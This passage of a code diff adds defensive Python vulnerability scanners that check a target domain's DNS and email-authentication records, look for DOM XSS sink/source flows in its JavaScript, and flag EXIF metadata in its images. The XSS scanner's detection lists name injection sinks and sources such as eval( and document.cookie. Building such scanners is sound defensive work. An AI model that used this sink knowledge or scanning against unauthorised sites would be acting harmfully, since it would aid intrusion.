remediation="Add an SPF record to your DNS:\n Example: v=spf1 ip4:192.0.2.0/24 -all\n Use SPF record generator tools for proper configuration."
|
| 156 |
+
)
|
| 157 |
+
|
| 158 |
+
except dns.resolver.NoAnswer:
|
| 159 |
+
self.log("WARNING", "[DNS Security] No TXT records found (SPF missing).")
|
| 160 |
+
self.add_vuln(
|
| 161 |
+
title="SPF Record Missing",
|
| 162 |
+
severity="Medium", category="DNS Security", cvss_score=5.3,
|
| 163 |
+
description=f"No SPF record found for {self.domain}.",
|
| 164 |
+
remediation="Add an SPF record to your DNS configuration."
|
| 165 |
+
)
|
| 166 |
+
except Exception as e:
|
| 167 |
+
self.log("WARNING", f"[DNS Security] SPF check failed: {e}")
|
| 168 |
+
|
| 169 |
+
def _check_dmarc(self):
|
| 170 |
+
"""Check for DMARC record."""
|
| 171 |
+
self.log("INFO", "[DNS Security] Checking DMARC record...")
|
| 172 |
+
|
| 173 |
+
dmarc_domain = f"_dmarc.{self.domain}"
|
| 174 |
+
|
| 175 |
+
try:
|
| 176 |
+
txt_answers = dns.resolver.resolve(dmarc_domain, 'TXT')
|
| 177 |
+
dmarc_found = False
|
| 178 |
+
|
| 179 |
+
for rdata in txt_answers:
|
| 180 |
+
txt = rdata.to_text()
|
| 181 |
+
if 'v=DMARC1' in txt:
|
| 182 |
+
dmarc_found = True
|
| 183 |
+
self.log("SUCCESS", f"[DNS Security] DMARC Record: {txt[:100]}")
|
| 184 |
+
|
| 185 |
+
# Check for p=none (monitoring only)
|
| 186 |
+
if 'p=none' in txt:
|
| 187 |
+
self.log("WARNING", "[DNS Security] DMARC policy is p=none (monitoring only)")
|
| 188 |
+
self.add_vuln(
|
| 189 |
+
title="DMARC Policy Set to None",
|
| 190 |
+
severity="Low", category="DNS Security", cvss_score=3.1,
|
| 191 |
+
description=f"DMARC record for {self.domain} has policy p=none, which means no action is taken on failed SPF/DKIM. This is only suitable for monitoring.",
|
| 192 |
+
remediation="Update DMARC policy to p=quarantine or p=reject for better email security:\n v=DMARC1; p=quarantine; rua=mailto:dmarc@example.com"
|
| 193 |
+
)
|
| 194 |
+
break
|
| 195 |
+
|
| 196 |
+
if not dmarc_found:
|
| 197 |
+
self.log("WARNING", "[DNS Security] No DMARC record found.")
|
| 198 |
+
self.add_vuln(
|
| 199 |
+
title="DMARC Record Missing",
|
| 200 |
+
severity="Medium", category="DNS Security", cvss_score=5.3,
|
| 201 |
+
description=f"No DMARC (Domain-based Message Authentication, Reporting & Conformance) record found for {self.domain}. DMARC helps prevent email spoofing.",
|
| 202 |
+
remediation="Add a DMARC record to your DNS:\n Example: v=DMARC1; p=quarantine; rua=mailto:dmarc@example.com\n Start with p=none for monitoring, then move to p=quarantine or p=reject."
|
| 203 |
+
)
|
| 204 |
+
|
| 205 |
+
except dns.resolver.NoAnswer:
|
| 206 |
+
self.log("WARNING", "[DNS Security] No DMARC record found.")
|
| 207 |
+
self.add_vuln(
|
| 208 |
+
title="DMARC Record Missing",
|
| 209 |
+
severity="Medium", category="DNS Security", cvss_score=5.3,
|
| 210 |
+
description=f"No DMARC record found for {self.domain}.",
|
| 211 |
+
remediation="Add a DMARC record to your DNS configuration."
|
| 212 |
+
)
|
| 213 |
+
except dns.resolver.NXDOMAIN:
|
| 214 |
+
self.log("WARNING", "[DNS Security] DMARC subdomain does not exist.")
|
| 215 |
+
except Exception as e:
|
| 216 |
+
self.log("WARNING", f"[DNS Security] DMARC check failed: {e}")
|
| 217 |
+
|
| 218 |
+
def _check_wildcard_dns(self):
|
| 219 |
+
"""Check for wildcard DNS records."""
|
| 220 |
+
self.log("INFO", "[DNS Security] Checking for wildcard DNS...")
|
| 221 |
+
|
| 222 |
+
random_subdomain = f"random-nonexistent-{hash(self.domain) % 10000}.{self.domain}"
|
| 223 |
+
|
| 224 |
+
try:
|
| 225 |
+
dns.resolver.resolve(random_subdomain, 'A')
|
| 226 |
+
self.log("WARNING", "[DNS Security] Wildcard DNS record detected.")
|
| 227 |
+
self.add_vuln(
|
| 228 |
+
title="Wildcard DNS Record Detected",
|
| 229 |
+
severity="Low", category="DNS Security", cvss_score=3.1,
|
| 230 |
+
description=f"Wildcard DNS record detected for {self.domain}. This can lead to subdomain takeover vulnerabilities if not properly managed.",
|
| 231 |
+
remediation="Review wildcard DNS usage. Ensure all subdomains are properly claimed and monitored. Consider removing wildcard if not necessary."
|
| 232 |
+
)
|
| 233 |
+
except dns.resolver.NXDOMAIN:
|
| 234 |
+
self.log("SUCCESS", "[DNS Security] No wildcard DNS detected.")
|
| 235 |
+
except Exception as e:
|
| 236 |
+
self.log("WARNING", f"[DNS Security] Wildcard check failed: {e}")
|
| 237 |
+
|
| 238 |
+
def _check_dns_cache_poisoning(self):
|
| 239 |
+
"""Check for DNS cache poisoning vulnerabilities."""
|
| 240 |
+
self.log("INFO", "[DNS Security] Checking DNS cache poisoning risks...")
|
| 241 |
+
|
| 242 |
+
try:
|
| 243 |
+
# Check for random source ports (good practice)
|
| 244 |
+
# This is a heuristic check - we can't directly test this without more complex probing
|
| 245 |
+
self.log("INFO", "[DNS Security] Ensure DNS resolver uses random source ports and transaction IDs.")
|
| 246 |
+
|
| 247 |
+
# Check for DNSSEC (already done in _check_dnssec)
|
| 248 |
+
# This is informational
|
| 249 |
+
self.log("INFO", "[DNS Security] DNS cache poisoning protection relies on DNSSEC implementation.")
|
| 250 |
+
|
| 251 |
+
except Exception as e:
|
| 252 |
+
self.log("WARNING", f"[DNS Security] Cache poisoning check failed: {e}")
|
| 253 |
+
|
| 254 |
+
def _check_caa_records(self):
|
| 255 |
+
"""Check for CAA (Certification Authority Authorization) records."""
|
| 256 |
+
self.log("INFO", "[DNS Security] Checking CAA records...")
|
| 257 |
+
|
| 258 |
+
try:
|
| 259 |
+
caa_answers = dns.resolver.resolve(self.domain, 'CAA')
|
| 260 |
+
caa_records = []
|
| 261 |
+
|
| 262 |
+
for rdata in caa_answers:
|
| 263 |
+
caa_records.append(f"{rdata.flags} {rdata.tag} {rdata.value}")
|
| 264 |
+
|
| 265 |
+
if caa_records:
|
| 266 |
+
self.log("SUCCESS", f"[DNS Security] CAA Records: {', '.join(caa_records)}")
|
| 267 |
+
else:
|
| 268 |
+
self.log("INFO", "[DNS Security] No CAA records found (informational).")
|
| 269 |
+
self.add_vuln(
|
| 270 |
+
title="CAA Record Not Configured",
|
| 271 |
+
severity="Low", category="DNS Security", cvss_score=2.1,
|
| 272 |
+
description=f"No CAA (Certification Authority Authorization) record found for {self.domain}. CAA records specify which CAs are allowed to issue certificates for the domain.",
|
| 273 |
+
remediation="Consider adding CAA records to restrict which certificate authorities can issue certificates:\n Example: issue ca.example.com; issuewild ca.example.com"
|
| 274 |
+
)
|
| 275 |
+
|
| 276 |
+
except dns.resolver.NoAnswer:
|
| 277 |
+
self.log("INFO", "[DNS Security] No CAA records found.")
|
| 278 |
+
except Exception as e:
|
| 279 |
+
self.log("WARNING", f"[DNS Security] CAA check failed: {e}")
|
backend/scanners/dom_xss_scanner.py
ADDED
|
@@ -0,0 +1,157 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
"""
|
| 2 |
+
dom_xss_scanner.py — DOM XSS Static Analysis Scanner
|
| 3 |
+
======================================================
|
| 4 |
+
Fetches JavaScript files and performs static sink/source analysis to detect
|
| 5 |
+
DOM-based XSS patterns that are never visible to the server.
|
| 6 |
+
"""
|
| 7 |
+
import re
|
| 8 |
+
from scanners.base_scanner import BaseScanner
|
| 9 |
+
|
| 10 |
+
SINKS = [
|
| 11 |
+
"document.write", "document.writeln", "innerHTML", "outerHTML",
|
| 12 |
+
"insertAdjacentHTML", "eval(", "setTimeout(", "setInterval(",
|
| 13 |
+
"location.href", "location.replace", "location.assign",
|
| 14 |
+
"document.location", "window.location", "src=", "href=",
|
| 15 |
+
"importScripts(", "Function(", "Range.createContextualFragment",
|
| 16 |
+
"script.text", "script.textContent", "srcdoc=", "DOMParser",
|
| 17 |
+
"execScript(", "msWriteProfilerMark", "setImmediate(",
|
| 18 |
+
"createHTMLDocument", "location.hash=",
|
| 19 |
+
]
|
| 20 |
+
|
| 21 |
+
SOURCES = [
|
| 22 |
+
"location.hash", "location.search", "location.href",
|
| 23 |
+
"document.URL", "document.referrer", "document.cookie",
|
| 24 |
+
"window.name", "localStorage", "sessionStorage",
|
| 25 |
+
"URLSearchParams", "decodeURIComponent", "unescape(",
|
| 26 |
+
"postMessage(", "MessageChannel", "history.pushState",
|
| 27 |
+
"history.replaceState", "document.documentURI",
|
| 28 |
+
"performance.getEntries", "fetch(", "XMLHttpRequest",
|
| 29 |
+
]
|
| 30 |
+
|
| 31 |
+
|
| 32 |
+
class DomXssScanner(BaseScanner):
|
| 33 |
+
SCANNER_NAME = "DOM XSS Static Analysis Scanner"
|
| 34 |
+
_SCANNER_KEY = "dom_xss"
|
| 35 |
+
|
| 36 |
+
def __init__(self, scan_id, target, domain, **kwargs):
|
| 37 |
+
super().__init__(scan_id, target, domain, **kwargs)
|
| 38 |
+
|
| 39 |
+
def run(self) -> list:
|
| 40 |
+
self.log("INFO", f"[DomXSS] Performing static JS AST analysis on {self.target}...")
|
| 41 |
+
html, status = self._make_request(self.target)
|
| 42 |
+
if html is None:
|
| 43 |
+
self.log("WARNING", f"[DomXSS] Error fetching page")
|
| 44 |
+
return self.vulns
|
| 45 |
+
|
| 46 |
+
scripts = re.findall(r'src=["\']([^"\']+\.js)["\']', html, re.I)
|
| 47 |
+
inline_scripts = re.findall(r'<script[^>]*>(.*?)</script>', html, re.I | re.S)
|
| 48 |
+
|
| 49 |
+
all_js = []
|
| 50 |
+
for src in scripts[:12]:
|
| 51 |
+
js = self._fetch_js(self._resolve(src))
|
| 52 |
+
if js:
|
| 53 |
+
all_js.append((self._resolve(src), js))
|
| 54 |
+
|
| 55 |
+
for idx, block in enumerate(inline_scripts):
|
| 56 |
+
if block.strip():
|
| 57 |
+
all_js.append((f"inline#{idx+1}", block))
|
| 58 |
+
|
| 59 |
+
found_flows = []
|
| 60 |
+
for js_name, js_code in all_js:
|
| 61 |
+
flows = self._find_flows(js_name, js_code)
|
| 62 |
+
found_flows.extend(flows)
|
| 63 |
+
|
| 64 |
+
taint_flows = self._find_taint_flows(all_js)
|
| 65 |
+
found_flows.extend(taint_flows)
|
| 66 |
+
|
| 67 |
+
if found_flows:
|
| 68 |
+
examples = found_flows[:5]
|
| 69 |
+
self.add_vuln(
|
| 70 |
+
title=f"DOM XSS Sink/Source Flows Detected ({len(found_flows)} pattern(s))",
|
| 71 |
+
severity="High",
|
| 72 |
+
category="DOM XSS",
|
| 73 |
+
cvss_score=7.4,
|
| 74 |
+
description="Static analysis identified dangerous source\u2192sink data flows in client-side JavaScript:\n\n" +
|
| 75 |
+
"\n".join(f"- **{f['file']}**: `{f['source']}` \u2192 `{f['sink']}`\n `{f['snippet']}`" for f in examples),
|
| 76 |
+
remediation="1. Never pass untrusted sources (location.hash, URL params) directly to sinks.\n"
|
| 77 |
+
"2. Use textContent instead of innerHTML.\n"
|
| 78 |
+
"3. Sanitize with DOMPurify before any DOM insertion.\n"
|
| 79 |
+
"4. Use a strict Content Security Policy to block inline scripts.",
|
| 80 |
+
evidence="\n".join(f"{f['file']}: {f['snippet']}" for f in examples),
|
| 81 |
+
confidence="High",
|
| 82 |
+
)
|
| 83 |
+
else:
|
| 84 |
+
self.log("SUCCESS", "[DomXSS] No obvious DOM XSS flows detected.")
|
| 85 |
+
return self.vulns
|
| 86 |
+
|
| 87 |
+
def _find_flows(self, js_name, code):
|
| 88 |
+
flows = []
|
| 89 |
+
lines = code.split("\n")
|
| 90 |
+
for i, line in enumerate(lines):
|
| 91 |
+
has_source = any(src in line for src in SOURCES)
|
| 92 |
+
has_sink = any(sink in line for sink in SINKS)
|
| 93 |
+
if has_source and has_sink:
|
| 94 |
+
src_matches = [s for s in SOURCES if s in line]
|
| 95 |
+
sink_matches = [s for s in SINKS if s in line]
|
| 96 |
+
flows.append({
|
| 97 |
+
"file": js_name,
|
| 98 |
+
"source": src_matches[0],
|
| 99 |
+
"sink": sink_matches[0],
|
| 100 |
+
"snippet": line.strip()[:120],
|
| 101 |
+
})
|
| 102 |
+
elif has_source and i + 1 < len(lines):
|
| 103 |
+
next_line = lines[i + 1]
|
| 104 |
+
if any(sink in next_line for sink in SINKS):
|
| 105 |
+
flows.append({
|
| 106 |
+
"file": js_name,
|
| 107 |
+
"source": [s for s in SOURCES if s in line][0],
|
| 108 |
+
"sink": [s for s in SINKS if s in next_line][0],
|
| 109 |
+
"snippet": (line.strip() + " \u2192 " + next_line.strip())[:120],
|
| 110 |
+
})
|
| 111 |
+
return flows
|
| 112 |
+
|
| 113 |
+
def _find_taint_flows(self, all_js):
|
| 114 |
+
taint_flows = []
|
| 115 |
+
for js_name, js_code in all_js:
|
| 116 |
+
lines = js_code.split("\n")
|
| 117 |
+
for i, line in enumerate(lines):
|
| 118 |
+
for src in SOURCES:
|
| 119 |
+
if src not in line:
|
| 120 |
+
continue
|
| 121 |
+
m = re.search(r'(?:var|let|const)\s+(\w+)\s*=\s*', line)
|
| 122 |
+
if not m:
|
| 123 |
+
m = re.search(r'(\w+)\s*=\s*', line)
|
| 124 |
+
if not m:
|
| 125 |
+
continue
|
| 126 |
+
var_name = m.group(1)
|
| 127 |
+
for j in range(i + 1, min(i + 10, len(lines))):
|
| 128 |
+
later_line = lines[j]
|
| 129 |
+
if var_name in later_line:
|
| 130 |
+
for sink in SINKS:
|
| 131 |
+
if sink in later_line:
|
| 132 |
+
taint_flows.append({
|
| 133 |
+
"file": js_name,
|
| 134 |
+
"source": src,
|
| 135 |
+
"sink": sink,
|
| 136 |
+
"snippet": f"{line.strip()} ... {later_line.strip()}"[:120],
|
| 137 |
+
})
|
| 138 |
+
break
|
| 139 |
+
return taint_flows
|
| 140 |
+
|
| 141 |
+
def _resolve(self, src):
|
| 142 |
+
from urllib.parse import urlparse
|
| 143 |
+
if src.startswith("//"):
|
| 144 |
+
return f"https:{src}"
|
| 145 |
+
if src.startswith("/"):
|
| 146 |
+
p = urlparse(self.target)
|
| 147 |
+
return f"{p.scheme}://{p.netloc}{src}"
|
| 148 |
+
if not src.startswith("http"):
|
| 149 |
+
return f"{self.target.rstrip('/')}/{src}"
|
| 150 |
+
return src
|
| 151 |
+
|
| 152 |
+
def _fetch_js(self, url):
|
| 153 |
+
body, status = self._make_request(url, timeout=5)
|
| 154 |
+
if body is None:
|
| 155 |
+
self.log("ERROR", f"[DomXSS] _fetch_js error for {url}")
|
| 156 |
+
return ""
|
| 157 |
+
return body
|
backend/scanners/email_security_scanner.py
ADDED
|
@@ -0,0 +1,90 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
"""
|
| 2 |
+
email_security_scanner.py — Email Security (SPF/DKIM/DMARC) Scanner
|
| 3 |
+
"""
|
| 4 |
+
import re, ssl, socket
|
| 5 |
+
from scanners.base_scanner import BaseScanner
|
| 6 |
+
|
| 7 |
+
try:
|
| 8 |
+
import dns.resolver as dns_resolver
|
| 9 |
+
except ImportError:
|
| 10 |
+
dns_resolver = None
|
| 11 |
+
|
| 12 |
+
class EmailSecurityScanner(BaseScanner):
|
| 13 |
+
SCANNER_NAME = "Email Security Scanner"
|
| 14 |
+
def __init__(self, scan_id, target, domain, **kwargs):
|
| 15 |
+
super().__init__(scan_id, target, domain, **kwargs)
|
| 16 |
+
|
| 17 |
+
def run(self) -> list:
|
| 18 |
+
self.log("INFO", f"[EmailSec] Auditing SPF/DKIM/DMARC for {self.domain}...")
|
| 19 |
+
if not dns_resolver:
|
| 20 |
+
self.log("WARNING", "[EmailSec] dnspython not installed. Skipping.")
|
| 21 |
+
return self.vulns
|
| 22 |
+
self._check_spf()
|
| 23 |
+
self._check_dmarc()
|
| 24 |
+
self._check_dkim()
|
| 25 |
+
if not self.vulns:
|
| 26 |
+
self.log("SUCCESS", "[EmailSec] Email security records look good.")
|
| 27 |
+
return self.vulns
|
| 28 |
+
|
| 29 |
+
def _resolve(self, name, rtype):
|
| 30 |
+
try:
|
| 31 |
+
return [str(r) for r in dns_resolver.resolve(name, rtype)]
|
| 32 |
+
except Exception:
|
| 33 |
+
return []
|
| 34 |
+
|
| 35 |
+
def _check_spf(self):
|
| 36 |
+
txts = self._resolve(self.domain, "TXT")
|
| 37 |
+
spf = [t for t in txts if "v=spf1" in t.lower()]
|
| 38 |
+
if not spf:
|
| 39 |
+
self.add_vuln(title="Missing SPF Record", severity="Medium",
|
| 40 |
+
category="Email Security", cvss_score=5.3,
|
| 41 |
+
description=f"No SPF record found for `{self.domain}`. Without SPF, anyone can "
|
| 42 |
+
"send emails appearing to be from your domain (email spoofing).",
|
| 43 |
+
remediation="Add a TXT record: v=spf1 include:_spf.google.com ~all")
|
| 44 |
+
else:
|
| 45 |
+
record = spf[0]
|
| 46 |
+
if "+all" in record:
|
| 47 |
+
self.add_vuln(title="SPF Record Uses +all (Permits All Senders)", severity="High",
|
| 48 |
+
category="Email Security", cvss_score=7.4,
|
| 49 |
+
description=f"SPF record `{record}` uses `+all`, allowing any server to send "
|
| 50 |
+
"email on behalf of this domain.",
|
| 51 |
+
remediation="Change +all to ~all (softfail) or -all (hardfail).")
|
| 52 |
+
elif "~all" not in record and "-all" not in record:
|
| 53 |
+
self.add_vuln(title="SPF Record Missing Fail Mechanism", severity="Low",
|
| 54 |
+
category="Email Security", cvss_score=3.5,
|
| 55 |
+
description=f"SPF: `{record}` lacks ~all or -all enforcement.",
|
| 56 |
+
remediation="Append -all to enforce strict SPF.")
|
| 57 |
+
|
| 58 |
+
def _check_dmarc(self):
|
| 59 |
+
txts = self._resolve(f"_dmarc.{self.domain}", "TXT")
|
| 60 |
+
dmarc = [t for t in txts if "v=dmarc1" in t.lower()]
|
| 61 |
+
if not dmarc:
|
| 62 |
+
self.add_vuln(title="Missing DMARC Record", severity="Medium",
|
| 63 |
+
category="Email Security", cvss_score=5.3,
|
| 64 |
+
description=f"No DMARC record at `_dmarc.{self.domain}`. DMARC tells receiving "
|
| 65 |
+
"servers how to handle SPF/DKIM failures.",
|
| 66 |
+
remediation="Add: _dmarc.yourdomain.com TXT \"v=DMARC1; p=reject; rua=mailto:dmarc@yourdomain.com\"")
|
| 67 |
+
else:
|
| 68 |
+
record = dmarc[0]
|
| 69 |
+
if "p=none" in record.lower():
|
| 70 |
+
self.add_vuln(title="DMARC Policy Set to 'none' (No Enforcement)", severity="Medium",
|
| 71 |
+
category="Email Security", cvss_score=5.3,
|
| 72 |
+
description=f"DMARC: `{record}` — policy `p=none` only monitors; it does not "
|
| 73 |
+
"reject or quarantine spoofed emails.",
|
| 74 |
+
remediation="Upgrade to p=quarantine or p=reject after monitoring period.")
|
| 75 |
+
|
| 76 |
+
def _check_dkim(self):
|
| 77 |
+
selectors = ["default", "google", "selector1", "selector2", "k1", "mail", "dkim"]
|
| 78 |
+
found = False
|
| 79 |
+
for sel in selectors:
|
| 80 |
+
txts = self._resolve(f"{sel}._domainkey.{self.domain}", "TXT")
|
| 81 |
+
if any("v=dkim1" in t.lower() or "p=" in t for t in txts):
|
| 82 |
+
found = True
|
| 83 |
+
self.log("SUCCESS", f"[EmailSec] DKIM record found: {sel}._domainkey.{self.domain}")
|
| 84 |
+
break
|
| 85 |
+
if not found:
|
| 86 |
+
self.add_vuln(title="No DKIM Record Found (Common Selectors)", severity="Low",
|
| 87 |
+
category="Email Security", cvss_score=3.5,
|
| 88 |
+
description=f"No DKIM record found for common selectors on `{self.domain}`. "
|
| 89 |
+
"DKIM cryptographically signs emails to prevent tampering.",
|
| 90 |
+
remediation="Configure DKIM signing on your email server and publish the public key.")
|
backend/scanners/exif_scanner.py
ADDED
|
@@ -0,0 +1,63 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
"""
|
| 2 |
+
exif_scanner.py — EXIF Metadata Leak Scanner
|
| 3 |
+
"""
|
| 4 |
+
import re, struct, urllib.request
|
| 5 |
+
from scanners.base_scanner import BaseScanner
|
| 6 |
+
|
| 7 |
+
class ExifScanner(BaseScanner):
|
| 8 |
+
SCANNER_NAME = "EXIF Metadata Leak Scanner"
|
| 9 |
+
_SCANNER_KEY = "exif"
|
| 10 |
+
def __init__(self, scan_id, target, domain, **kwargs):
|
| 11 |
+
super().__init__(scan_id, target, domain, **kwargs)
|
| 12 |
+
|
| 13 |
+
def run(self) -> list:
|
| 14 |
+
self.log("INFO", f"[EXIF] Scanning images for EXIF metadata leaks on {self.target}...")
|
| 15 |
+
try:
|
| 16 |
+
req = urllib.request.Request(self.target, headers=self._make_headers())
|
| 17 |
+
with urllib.request.urlopen(req, timeout=8, context=self.get_ssl_context()) as r:
|
| 18 |
+
html = r.read().decode("utf-8", errors="ignore")
|
| 19 |
+
except Exception as e:
|
| 20 |
+
self.log("WARNING", f"[EXIF] Error: {e}"); return self.vulns
|
| 21 |
+
|
| 22 |
+
imgs = re.findall(r'(?:src|href)=["\']([^"\']+\.(?:jpg|jpeg|png|tiff|webp))["\']', html, re.I)
|
| 23 |
+
leaky = []
|
| 24 |
+
for img_src in set(imgs[:10]):
|
| 25 |
+
url = self._resolve(img_src)
|
| 26 |
+
if self._has_exif(url):
|
| 27 |
+
leaky.append(url)
|
| 28 |
+
|
| 29 |
+
if leaky:
|
| 30 |
+
self.add_vuln(
|
| 31 |
+
title=f"EXIF Metadata Exposed in {len(leaky)} Image(s)",
|
| 32 |
+
severity="Low", category="Information Disclosure", cvss_score=3.5,
|
| 33 |
+
description=f"Images with EXIF data (GPS, camera model, software):\n\n" +
|
| 34 |
+
"\n".join(f"- `{u}`" for u in leaky[:5]) +
|
| 35 |
+
"\n\nEXIF data can expose physical locations, device info, and timestamps.",
|
| 36 |
+
remediation="Strip EXIF metadata before serving images. Use tools like "
|
| 37 |
+
"`exiftool -all= image.jpg` or server-side libraries (Pillow, Sharp).")
|
| 38 |
+
else:
|
| 39 |
+
self.log("SUCCESS", "[EXIF] No EXIF metadata leaks detected.")
|
| 40 |
+
return self.vulns
|
| 41 |
+
|
| 42 |
+
def _has_exif(self, url):
|
| 43 |
+
try:
|
| 44 |
+
req = urllib.request.Request(url, headers=self._make_headers())
|
| 45 |
+
with urllib.request.urlopen(req, timeout=5, context=self.get_ssl_context()) as r:
|
| 46 |
+
header = r.read(12)
|
| 47 |
+
# JPEG with EXIF: starts with FF D8 FF E1
|
| 48 |
+
if header[:4] == b'\xff\xd8\xff\xe1':
|
| 49 |
+
return True
|
| 50 |
+
# TIFF header (also used in EXIF)
|
| 51 |
+
if header[:2] in (b'II', b'MM') and header[2:4] in (b'\x2a\x00', b'\x00\x2a'):
|
| 52 |
+
return True
|
| 53 |
+
except Exception as e:
|
| 54 |
+
self.log("ERROR", f"[EXIF] _has_exif error: {e}")
|
| 55 |
+
return False
|
| 56 |
+
|
| 57 |
+
def _resolve(self, src):
|
| 58 |
+
if src.startswith("//"): return f"https:{src}"
|
| 59 |
+
if src.startswith("/"):
|
| 60 |
+
from urllib.parse import urlparse; p = urlparse(self.target)
|
| 61 |
+
return f"{p.scheme}://{p.netloc}{src}"
|
| 62 |
+
if not src.startswith("http"): return f"{self.target.rstrip('/')}/{src}"
|
| 63 |
+
return src
|
backend/scanners/file_upload_scanner.py
ADDED
|
@@ -0,0 +1,442 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
